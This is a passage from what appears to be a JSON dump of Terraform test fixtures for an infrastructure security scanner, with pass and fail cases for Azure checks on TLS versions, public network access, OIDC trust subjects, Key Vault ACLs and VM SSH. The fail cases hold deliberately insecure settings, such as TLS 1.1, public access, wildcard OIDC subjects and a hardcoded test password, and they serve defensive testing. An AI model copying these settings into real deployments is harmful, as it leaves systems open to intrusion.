azurerm_storage_account.example.name\n\n  site_config {\n    minimum_tls_version = 1.1\n  }\n}\nresource \"azurerm_windows_function_app\" \"fail4\" {\n  name                = \"example-windows-function-app\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  site_config {\n    minimum_tls_version = 1.1\n  }\n}\n\nresource \"azurerm_linux_function_app_slot\" \"fail5\" {\n  name                 = \"example-linux-function-app-slot\"\n  function_app_id      = azurerm_linux_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {\n    minimum_tls_version = 1.1\n  }\n}\nresource \"azurerm_windows_function_app_slot\" \"fail6\" {\n  name                 = \"example-slot\"\n  function_app_id      = azurerm_windows_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {\n    minimum_tls_version = 1.1\n  }\n}\n\nresource \"azurerm_function_app\" \"pass\" {\n  name                       = \"test-azure-functions\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  https_only                 = false\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n    ftps_state               = \"AllAllowed\"\n    http2_enabled            = false\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n}\n\nresource \"azurerm_function_app\" \"pass2\" {\n  name                       = \"test-azure-functions\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  https_only                 = false\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n    min_tls_version          = 1.3\n    ftps_state               = \"AllAllowed\"\n    http2_enabled            = false\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n}\n\nresource \"azurerm_function_app\" \"pass3\" {\n  name                       = \"test-azure-functions\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  https_only                 = false\n\n  site_config {\n    dotnet_framework_version = \"v4.0\"\n    scm_type                 = \"LocalGit\"\n    min_tls_version          = \"1.2\"\n    ftps_state               = \"AllAllowed\"\n    http2_enabled            = false\n    cors {\n      allowed_origins = [\"*\"]\n    }\n  }\n}\n\nresource \"azurerm_function_app_slot\" \"pass4\" {\n  name                       = \"test-azure-functions_slot\"\n  location                   = azurerm_resource_group.example.location\n  resource_group_name        = azurerm_resource_group.example.name\n  app_service_plan_id        = azurerm_app_service_plan.example.id\n  function_app_name          = azurerm_function_app.example.name\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n}\n\nresource \"azurerm_linux_function_app\" \"pass5\" {\n  name                 = \"example-linux-function-app\"\n  resource_group_name  = azurerm_resource_group.example.name\n  location             = azurerm_resource_group.example.location\n  service_plan_id      = azurerm_service_plan.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {\n    minimum_tls_version = 1.2\n  }\n}\nresource \"azurerm_windows_function_app\" \"pass6\" {\n  name                = \"example-windows-function-app\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  site_config {\n    minimum_tls_version = 1.2\n  }\n}\n\nresource \"azurerm_linux_function_app_slot\" \"pass7\" {\n  name                 = \"example-linux-function-app-slot\"\n  function_app_id      = azurerm_linux_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {\n    minimum_tls_version = 1.3\n  }\n}\nresource \"azurerm_windows_function_app_slot\" \"pass8\" {\n  name                 = \"example-slot\"\n  function_app_id      = azurerm_windows_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {\n    minimum_tls_version = 1.2\n  }\n}\nresource \"azurerm_windows_function_app_slot\" \"pass9\" {\n  name                 = \"example-slot\"\n  function_app_id      = azurerm_windows_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  site_config {}\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_FunctionAppPublicAccessDisabled/main.tf",
    "content": "# pass\n\nresource \"azurerm_linux_function_app\" \"disabled\" {\n  name                       = \"example-linux-function-app\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  public_network_access_enabled = false\n}\n\nresource \"azurerm_linux_function_app_slot\" \"disabled\" {\n  name                 = \"example-linux-function-app-slot\"\n  function_app_id      = azurerm_linux_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  public_network_access_enabled = false\n}\n\nresource \"azurerm_windows_function_app\" \"disabled\" {\n  name                       = \"example-windows-function-app\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  public_network_access_enabled = false\n}\n\nresource \"azurerm_windows_function_app_slot\" \"disabled\" {\n  name                 = \"example-slot\"\n  function_app_id      = azurerm_windows_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  public_network_access_enabled = false\n}\n\n# fail\n\nresource \"azurerm_linux_function_app\" \"default\" {\n  name                       = \"example-linux-function-app\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n}\n\nresource \"azurerm_linux_function_app_slot\" \"default\" {\n  name                 = \"example-linux-function-app-slot\"\n  function_app_id      = azurerm_linux_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n}\n\nresource \"azurerm_windows_function_app\" \"default\" {\n  name                       = \"example-windows-function-app\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n}\n\nresource \"azurerm_windows_function_app_slot\" \"default\" {\n  name                 = \"example-slot\"\n  function_app_id      = azurerm_windows_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n}\n\nresource \"azurerm_linux_function_app\" \"enabled\" {\n  name                       = \"example-linux-function-app\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  public_network_access_enabled = true\n}\n\nresource \"azurerm_linux_function_app_slot\" \"enabled\" {\n  name                 = \"example-linux-function-app-slot\"\n  function_app_id      = azurerm_linux_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  public_network_access_enabled = true\n}\n\nresource \"azurerm_windows_function_app\" \"enabled\" {\n  name                       = \"example-windows-function-app\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  storage_account_name       = azurerm_storage_account.example.name\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  service_plan_id            = azurerm_service_plan.example.id\n\n  public_network_access_enabled = true\n}\n\nresource \"azurerm_windows_function_app_slot\" \"enabled\" {\n  name                 = \"example-slot\"\n  function_app_id      = azurerm_windows_function_app.example.id\n  storage_account_name = azurerm_storage_account.example.name\n\n  public_network_access_enabled = true\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_GithubActionsOIDCTrustPolicy/main.tf",
    "content": "# pass1 - Basic valid configuration with federated credential\nresource \"azuread_application_federated_identity_credential\" \"pass1\" {\n  application_object_id = \"example-app-id\"\n  display_name         = \"github-actions-oidc\"\n  description          = \"GitHub Actions OIDC\"\n  audiences           = [\"api://AzureADTokenExchange\"]\n  issuer              = \"https://token.actions.githubusercontent.com\"\n  subject             = \"repo:myOrg/myRepo:environment:Production\"\n}\n\n# pass2 - Valid configuration with specific branch reference\nresource \"azuread_application_federated_identity_credential\" \"pass2\" {\n  application_object_id = \"example-app-id\"\n  display_name         = \"github-actions-oidc\"\n  audiences           = [\"api://AzureADTokenExchange\"]\n  issuer              = \"https://token.actions.githubusercontent.com\"\n  subject             = \"repo:myOrg/myRepo:ref:refs/heads/main\"\n}\n\n# pass4 - Valid configuration with org-only repo pattern\nresource \"azuread_application_federated_identity_credential\" \"pass4\" {\n  application_object_id = \"example-app-id\"\n  display_name         = \"github-actions-oidc\"\n  audiences           = [\"api://AzureADTokenExchange\"]\n  issuer              = \"https://token.actions.githubusercontent.com\"\n  subject             = \"repo:myOrg/valid-repo:*\"\n}\n\n# pass4 - Valid configuration with org-only repo pattern\nresource \"azuread_application_federated_identity_credential\" \"pass_special_chars\" {\n  application_object_id = \"example-app-id\"\n  display_name         = \"github-actions-oidc\"\n  audiences           = [\"api://AzureADTokenExchange\"]\n  issuer              = \"https://token.actions.githubusercontent.com\"\n  subject             = \"repo:${var.github_organisation_target}/${github_repository.project.name}:environment:${var.environment}\"\n}\n\n# fail1 - Missing subject\nresource \"azuread_application_federated_identity_credential\" \"fail1\" {\n  application_object_id = \"example-app-id\"\n  display_name         = \"github-actions-oidc\"\n  audiences           = [\"api://AzureADTokenExchange\"]\n  issuer              = \"https://token.actions.githubusercontent.com\"\n}\n\n# fail2 - Invalid claim format\nresource \"azuread_application_federated_identity_credential\" \"fail2\" {\n  application_object_id = \"example-app-id\"\n  display_name         = \"github-actions-oidc\"\n  audiences           = [\"api://AzureADTokenExchange\"]\n  issuer              = \"https://token.actions.githubusercontent.com\"\n  subject             = \"invalid\"\n}\n\n# fail3 - Wildcard in subject\nresource \"azuread_application_federated_identity_credential\" \"fail3\" {\n  application_object_id = \"example-app-id\"\n  display_name         = \"github-actions-oidc\"\n  audiences           = [\"api://AzureADTokenExchange\"]\n  issuer              = \"https://token.actions.githubusercontent.com\"\n  subject             = \"*\"\n}\n\n# fail5 - Wildcard assertion in repo pattern\nresource \"azuread_application_federated_identity_credential\" \"fail5\" {\n  application_object_id = \"example-app-id\"\n  display_name         = \"github-actions-oidc\"\n  audiences           = [\"api://AzureADTokenExchange\"]\n  issuer              = \"https://token.actions.githubusercontent.com\"\n  subject             = \"repo:*\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_KeyVaultDisablesPublicNetworkAccess/main.tf",
    "content": "resource \"azurerm_key_vault\" \"pass1\" {\n  name                                   = \"examplepass1\"\n  location                               = azurerm_resource_group.example.location\n  resource_group_name                    = azurerm_resource_group.example.name\n  enabled_for_disk_encryption            = true\n  tenant_id                              = data.azurerm_client_config.current.tenant_id\n  soft_delete_retention_days             = 90\n  purge_protection_enabled               = enabled\n  public_network_access_enabled          = false\n  sku_name                               = \"standard\"\n  access_policy {\n    tenant_id = data.azurerm_client_config.current.tenant_id\n    object_id = data.azurerm_client_config.current.object_id\n\n    key_permissions = [\n      \"Get\",\n    ]\n\n    secret_permissions = [\n      \"Get\",\n    ]\n\n    storage_permissions = [\n      \"Get\",\n    ]\n  }\n}\n\nresource \"azurerm_key_vault\" \"pass2\" {\n  name                                   = \"examplepass2\"\n  location                               = azurerm_resource_group.example.location\n  resource_group_name                    = azurerm_resource_group.example.name\n  enabled_for_disk_encryption            = true\n  tenant_id                              = data.azurerm_client_config.current.tenant_id\n  soft_delete_retention_days             = 90\n  purge_protection_enabled               = enabled\n  public_network_access_enabled          = false\n  sku_name                               = \"standard\"\n  network_acls {\n    default_action = \"Allow\"\n    bypass         = \"AzureServices\"\n  }\n  access_policy {\n    tenant_id = data.azurerm_client_config.current.tenant_id\n    object_id = data.azurerm_client_config.current.object_id\n\n    key_permissions = [\n      \"Get\",\n    ]\n\n    secret_permissions = [\n      \"Get\",\n    ]\n\n    storage_permissions = [\n      \"Get\",\n    ]\n  }\n}\n\nresource \"azurerm_key_vault\" \"pass3\" {\n  name                                   = \"examplepass3\"\n  location                               = azurerm_resource_group.example.location\n  resource_group_name                    = azurerm_resource_group.example.name\n  enabled_for_disk_encryption            = true\n  tenant_id                              = data.azurerm_client_config.current.tenant_id\n  soft_delete_retention_days             = 90\n  purge_protection_enabled               = enabled\n  public_network_access_enabled          = true\n  sku_name                               = \"standard\"\n  network_acls {\n    default_action = \"Allow\"\n    bypass         = \"AzureServices\"\n    ip_rules = [\"127.0.0.1\"]\n  }\n  access_policy {\n    tenant_id = data.azurerm_client_config.current.tenant_id\n    object_id = data.azurerm_client_config.current.object_id\n\n    key_permissions = [\n      \"Get\",\n    ]\n\n    secret_permissions = [\n      \"Get\",\n    ]\n\n    storage_permissions = [\n      \"Get\",\n    ]\n  }\n}\n\nresource \"azurerm_key_vault\" \"pass4\" {\n  name                                   = \"examplepass4\"\n  location                               = azurerm_resource_group.example.location\n  resource_group_name                    = azurerm_resource_group.example.name\n  enabled_for_disk_encryption            = true\n  tenant_id                              = data.azurerm_client_config.current.tenant_id\n  soft_delete_retention_days             = 90\n  purge_protection_enabled               = enabled\n  sku_name                               = \"standard\"\n  network_acls {\n    default_action = \"Allow\"\n    bypass         = \"AzureServices\"\n    ip_rules = [\"127.0.0.1\"]\n  }\n  access_policy {\n    tenant_id = data.azurerm_client_config.current.tenant_id\n    object_id = data.azurerm_client_config.current.object_id\n\n    key_permissions = [\n      \"Get\",\n    ]\n\n    secret_permissions = [\n      \"Get\",\n    ]\n\n    storage_permissions = [\n      \"Get\",\n    ]\n  }\n}\n\nresource \"azurerm_key_vault\" \"pass5\" {\n  name                                   = \"examplepass5\"\n  location                               = azurerm_resource_group.example.location\n  resource_group_name                    = azurerm_resource_group.example.name\n  enabled_for_disk_encryption            = true\n  tenant_id                              = data.azurerm_client_config.current.tenant_id\n  soft_delete_retention_days             = 90\n  purge_protection_enabled               = enabled\n  sku_name                               = \"standard\"\n  network_acls {\n    default_action = \"Allow\"\n    bypass         = \"AzureServices\"\n    virtual_network_subnet_ids = [\"127.0.0.1/24\"]\n  }\n}\n\nresource \"azurerm_key_vault\" \"fail1\" {\n  name                                   = \"examplefail1\"\n  location                               = azurerm_resource_group.example.location\n  resource_group_name                    = azurerm_resource_group.example.name\n  enabled_for_disk_encryption            = true\n  tenant_id                              = data.azurerm_client_config.current.tenant_id\n  soft_delete_retention_days             = 90\n  purge_protection_enabled               = enabled\n  sku_name                               = \"standard\"\n  public_network_access_enabled          = true\n  access_policy {\n    tenant_id = data.azurerm_client_config.current.tenant_id\n    object_id = data.azurerm_client_config.current.object_id\n\n    key_permissions = [\n      \"Get\",\n    ]\n\n    secret_permissions = [\n      \"Get\",\n    ]\n\n    storage_permissions = [\n      \"Get\",\n    ]\n  }\n}\n\nresource \"azurerm_key_vault\" \"fail2\" {\n  name                                   = \"examplefail2\"\n  location                               = azurerm_resource_group.example.location\n  resource_group_name                    = azurerm_resource_group.example.name\n  enabled_for_disk_encryption            = true\n  tenant_id                              = data.azurerm_client_config.current.tenant_id\n  soft_delete_retention_days             = 90\n  purge_protection_enabled               = enabled\n  sku_name                               = \"standard\"\n  access_policy {\n    tenant_id = data.azurerm_client_config.current.tenant_id\n    object_id = data.azurerm_client_config.current.object_id\n\n    key_permissions = [\n      \"Get\",\n    ]\n\n    secret_permissions = [\n      \"Get\",\n    ]\n\n    storage_permissions = [\n      \"Get\",\n    ]\n  }\n}\n\nresource \"azurerm_key_vault\" \"fail3\" {\n  name                                   = \"examplefail3\"\n  location                               = azurerm_resource_group.example.location\n  resource_group_name                    = azurerm_resource_group.example.name\n  enabled_for_disk_encryption            = true\n  tenant_id                              = data.azurerm_client_config.current.tenant_id\n  soft_delete_retention_days             = 90\n  purge_protection_enabled               = enabled\n  sku_name                               = \"standard\"\n  network_acls {\n    default_action = \"Allow\"\n    bypass         = \"AzureServices\"\n    ip_rules = []\n  }\n  access_policy {\n    tenant_id = data.azurerm_client_config.current.tenant_id\n    object_id = data.azurerm_client_config.current.object_id\n\n    key_permissions = [\n      \"Get\",\n    ]\n\n    secret_permissions = [\n      \"Get\",\n    ]\n\n    storage_permissions = [\n      \"Get\",\n    ]\n  }\n}\n\nresource \"azurerm_key_vault\" \"fail4\" {\n  name                                   = \"examplefail4\"\n  location                               = azurerm_resource_group.example.location\n  resource_group_name                    = azurerm_resource_group.example.name\n  enabled_for_disk_encryption            = true\n  tenant_id                              = data.azurerm_client_config.current.tenant_id\n  soft_delete_retention_days             = 90\n  purge_protection_enabled               = enabled\n  sku_name                               = \"standard\"\n  network_acls {\n    default_action = \"Allow\"\n    bypass         = \"AzureServices\"\n  }\n  access_policy {\n    tenant_id = data.azurerm_client_config.current.tenant_id\n    object_id = data.azurerm_client_config.current.object_id\n\n    key_permissions = [\n      \"Get\",\n    ]\n\n    secret_permissions = [\n      \"Get\",\n    ]\n\n    storage_permissions = [\n      \"Get\",\n    ]\n  }\n}\n\n\n\nresource \"azurerm_key_vault\" \"fail5\" {\n  name                                   = \"examplefail5\"\n  location                               = azurerm_resource_group.example.location\n  resource_group_name                    = azurerm_resource_group.example.name\n  enabled_for_disk_encryption            = true\n  tenant_id                              = data.azurerm_client_config.current.tenant_id\n  soft_delete_retention_days             = 90\n  purge_protection_enabled               = enabled\n  sku_name                               = \"standard\"\n\n  dynamic \"network_acls\" {\n    for_each = var.nacls_enabled ? [1] : []\n    content {\n      default_action             = \"Allow\"\n      bypass                     = \"AzureServices\"\n      ip_rules                   = []\n      virtual_network_subnet_ids = []\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_KubernetesClusterHTTPApplicationRouting/main.tf",
    "content": "resource \"azurerm_kubernetes_cluster\" \"fail\" {\n  http_application_routing_enabled = true\n}\n\nresource \"azurerm_kubernetes_cluster\" \"pass_false\" {\n  http_application_routing_enabled = false\n}\n\nresource \"azurerm_kubernetes_cluster\" \"pass_missing\" {\n  name = \"example-aks1\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_LinuxVMUsesSSH/main.tf",
    "content": "resource \"azurerm_linux_virtual_machine\" \"pass\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  admin_ssh_key {\n    username   = \"adminuser\"\n    public_key = file(\"~/.ssh/id_rsa.pub\")\n  }\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n}\n\nresource \"azurerm_linux_virtual_machine\" \"fail\" {\n  name                = \"example-machine\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  size                = \"Standard_F2\"\n  admin_username      = \"adminuser\"\n  network_interface_ids = [\n    azurerm_network_interface.example.id,\n  ]\n\n  os_disk {\n    caching              = \"ReadWrite\"\n    storage_account_type = \"Standard_LRS\"\n  }\n\n  source_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n}\n\nresource \"azurerm_linux_virtual_machine_scale_set\" \"pass\" {\n  name                = \"example-vmss\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"Standard_F2\"\n  instances           = 1\n  admin_username      = \"adminuser\"\n\n  admin_ssh_key {\n    username   = \"adminuser\"\n    public_key = local.first_public_key\n  }\n\n  source_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n\n  os_disk {\n    storage_account_type = \"Standard_LRS\"\n    caching              = \"ReadWrite\"\n  }\n\n  network_interface {\n    name    = \"example\"\n    primary = true\n\n    ip_configuration {\n      name      = \"internal\"\n      primary   = true\n      subnet_id = azurerm_subnet.internal.id\n    }\n  }\n}\n\nresource \"azurerm_linux_virtual_machine_scale_set\" \"fail\" {\n  name                = \"example-vmss\"\n  resource_group_name = azurerm_resource_group.example.name\n  location            = azurerm_resource_group.example.location\n  sku                 = \"Standard_F2\"\n  instances           = 1\n  admin_username      = \"adminuser\"\n\n\n  source_image_reference {\n    publisher = \"Canonical\"\n    offer     = \"UbuntuServer\"\n    sku       = \"16.04-LTS\"\n    version   = \"latest\"\n  }\n\n  os_disk {\n    storage_account_type = \"Standard_LRS\"\n    caching              = \"ReadWrite\"\n  }\n\n  network_interface {\n    name    = \"example\"\n    primary = true\n\n    ip_configuration {\n      name      = \"internal\"\n      primary   = true\n      subnet_id = azurerm_subnet.internal.id\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_MLCCLADisabled/MLCCLADisabled.tf",
    "content": "## SHOULD PASS: Explicitly define parameter local_auth_enabled to false\nresource \"azurerm_machine_learning_compute_cluster\" \"ckv_unittest_pass\" {\n  name                          = \"example\"\n  location                      = \"West Europe\"\n  vm_priority                   = \"LowPriority\"\n  vm_size                       = \"Standard_DS2_v2\"\n  machine_learning_workspace_id = azurerm_machine_learning_workspace.example.id\n  local_auth_enabled            = false\n\n  scale_settings {\n    min_node_count                       = 0\n    max_node_count                       = 1\n    scale_down_nodes_after_idle_duration = \"PT30S\" # 30 seconds\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\n## SHOULD FAIL: Explicitly define parameter local_auth_enabled to true\nresource \"azurerm_machine_learning_compute_cluster\" \"ckv_unittest_fail\" {\n  name                          = \"example\"\n  location                      = \"West Europe\"\n  vm_priority                   = \"LowPriority\"\n  vm_size                       = \"Standard_DS2_v2\"\n  machine_learning_workspace_id = azurerm_machine_learning_workspace.example.id\n  local_auth_enabled            = true\n\n  scale_settings {\n    min_node_count                       = 0\n    max_node_count                       = 1\n    scale_down_nodes_after_idle_duration = \"PT30S\" # 30 seconds\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\n## SHOULD FAIL: Do not explicitly assign value to local_auth_enabled parameter as default value is true\nresource \"azurerm_machine_learning_compute_cluster\" \"ckv_unittest_fail_2\" {\n  name                          = \"example\"\n  location                      = \"West Europe\"\n  vm_priority                   = \"LowPriority\"\n  vm_size                       = \"Standard_DS2_v2\"\n  machine_learning_workspace_id = azurerm_machine_learning_workspace.example.id\n\n  scale_settings {\n    min_node_count                       = 0\n    max_node_count                       = 1\n    scale_down_nodes_after_idle_duration = \"PT30S\" # 30 seconds\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_MLComputeClusterMinNodes/main.tf",
    "content": "## SHOULD PASS: Min nodes set to 0\nresource \"azurerm_machine_learning_compute_cluster\" \"ckv_unittest_pass\" {\n  name                          = \"example\"\n  location                      = \"West Europe\"\n  vm_priority                   = \"LowPriority\"\n  vm_size                       = \"Standard_DS2_v2\"\n  machine_learning_workspace_id = azurerm_machine_learning_workspace.example.id\n  subnet_resource_id            = azurerm_subnet.example.id\n\n  scale_settings {\n    min_node_count                       = 0\n    max_node_count                       = 1\n    scale_down_nodes_after_idle_duration = \"PT30S\" # 30 seconds\n  }\n}\n\n## SHOULD FAIL: Min nodes set to 1\nresource \"azurerm_machine_learning_compute_cluster\" \"ckv_unittest_fail\" {\n  name                          = \"example\"\n  location                      = \"West Europe\"\n  vm_priority                   = \"LowPriority\"\n  vm_size                       = \"Standard_DS2_v2\"\n  machine_learning_workspace_id = azurerm_machine_learning_workspace.example.id\n  subnet_resource_id            = azurerm_subnet.example.id\n\n  scale_settings {\n    min_node_count                       = 1\n    max_node_count                       = 2\n    scale_down_nodes_after_idle_duration = \"PT30S\" # 30 seconds\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_MLPublicAccess/MLPublicAccess.tf",
    "content": "## SHOULD PASS: Explicitly define parameter public_network_access_enabled to false\nresource \"azurerm_machine_learning_workspace\" \"ckv_unittest_pass\" {\n  name                          = \"example-workspace\"\n  location                      = azurerm_resource_group.example.location\n  resource_group_name           = azurerm_resource_group.example.name\n  application_insights_id       = azurerm_application_insights.example.id\n  key_vault_id                  = azurerm_key_vault.example.id\n  storage_account_id            = azurerm_storage_account.example.id\n  public_network_access_enabled = false\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  encryption {\n    key_vault_id = azurerm_key_vault.example.id\n    key_id       = azurerm_key_vault_key.example.id\n  }\n}\n\n\n## SHOULD FAIL: Explicitly define parameter public_network_access_enabled to true\nresource \"azurerm_machine_learning_workspace\" \"ckv_unittest_fail\" {\n  name                          = \"example-workspace\"\n  location                      = azurerm_resource_group.example.location\n  resource_group_name           = azurerm_resource_group.example.name\n  application_insights_id       = azurerm_application_insights.example.id\n  key_vault_id                  = azurerm_key_vault.example.id\n  storage_account_id            = azurerm_storage_account.example.id\n  public_network_access_enabled = true\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  encryption {\n    key_vault_id = azurerm_key_vault.example.id\n    key_id       = azurerm_key_vault_key.example.id\n  }\n}\n\n## SHOULD FAIL: Parameter public_network_access_enabled defaults to true\nresource \"azurerm_machine_learning_workspace\" \"ckv_unittest_fail_2\" {\n  name                    = \"example-workspace\"\n  location                = azurerm_resource_group.example.location\n  resource_group_name     = azurerm_resource_group.example.name\n  application_insights_id = azurerm_application_insights.example.id\n  key_vault_id            = azurerm_key_vault.example.id\n  storage_account_id      = azurerm_storage_account.example.id\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  encryption {\n    key_vault_id = azurerm_key_vault.example.id\n    key_id       = azurerm_key_vault_key.example.id\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_MSSQLServerAuditPolicyLogMonitor/main.tf",
    "content": "resource \"azurerm_mssql_database_extended_auditing_policy\" \"fail\" {\n  database_id                             = azurerm_mssql_database.examplea.id\n  storage_endpoint                        = azurerm_storage_account.examplea.primary_blob_endpoint\n  storage_account_access_key              = azurerm_storage_account.examplea.primary_access_key\n  storage_account_access_key_is_secondary = false\n  retention_in_days                       = 89\n  log_monitoring_enabled                  = false\n}\n\nresource \"azurerm_mssql_database_extended_auditing_policy\" \"fail2\" {\n  database_id                             = azurerm_mssql_database.examplea.id\n  storage_endpoint                        = azurerm_storage_account.examplea.primary_blob_endpoint\n  storage_account_access_key              = azurerm_storage_account.examplea.primary_access_key\n  storage_account_access_key_is_secondary = false\n  retention_in_days                       = 89\n}\n\nresource \"azurerm_mssql_database_extended_auditing_policy\" \"pass\" {\n  database_id                             = azurerm_mssql_database.examplea.id\n  storage_endpoint                        = azurerm_storage_account.examplea.primary_blob_endpoint\n  storage_account_access_key              = azurerm_storage_account.examplea.primary_access_key\n  storage_account_access_key_is_secondary = false\n  retention_in_days                       = 89\n  log_monitoring_enabled                  = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_MySQLGeoBackupEnabled/main.tf",
    "content": "resource \"azurerm_mysql_server\" \"fail\" {\n  name                = var.mysqlserver_name\n  location            = var.resource_group.location\n  resource_group_name = var.resource_group.name\n\n  administrator_login          = var.admin_name\n  administrator_login_password = var.password\n  sku_name = var.sku_name\n  storage_mb = var.storage_mb\n  version    = var.server_version\n\n  auto_grow_enabled            = true\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = false\n  infrastructure_encryption_enabled = false\n    public_network_access_enabled = true\n  ssl_enforcement_enabled = false\n}\n\nresource \"azurerm_mysql_server\" \"fail2\" {\n  name                = var.mysqlserver_name\n  location            = var.resource_group.location\n  resource_group_name = var.resource_group.name\n\n  administrator_login          = var.admin_name\n  administrator_login_password = var.password\n  sku_name = var.sku_name\n  storage_mb = var.storage_mb\n  version    = var.server_version\n\n  auto_grow_enabled            = true\n  backup_retention_days        = 7\n  infrastructure_encryption_enabled = false\n  ssl_enforcement_enabled = false\n}\n\nresource \"azurerm_mysql_server\" \"pass\" {\n  name                = var.mysqlserver_name\n  location            = var.resource_group.location\n  resource_group_name = var.resource_group.name\n\n  administrator_login          = var.admin_name\n  administrator_login_password = var.password\n  sku_name = var.sku_name\n  storage_mb = var.storage_mb\n  version    = var.server_version\n\n  auto_grow_enabled            = true\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n  infrastructure_encryption_enabled = false\n  public_network_access_enabled = false\n  ssl_enforcement_enabled = false\n}\n\nresource \"azurerm_mysql_flexible_server\" \"fail\" {\n  name                   = \"example-fs\"\n  resource_group_name    = azurerm_resource_group.example.name\n  location               = azurerm_resource_group.example.location\n  administrator_login    = \"psqladmin\"\n  administrator_password = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n  backup_retention_days  = 7\n  delegated_subnet_id    = azurerm_subnet.example.id\n  private_dns_zone_id    = azurerm_private_dns_zone.example.id\n  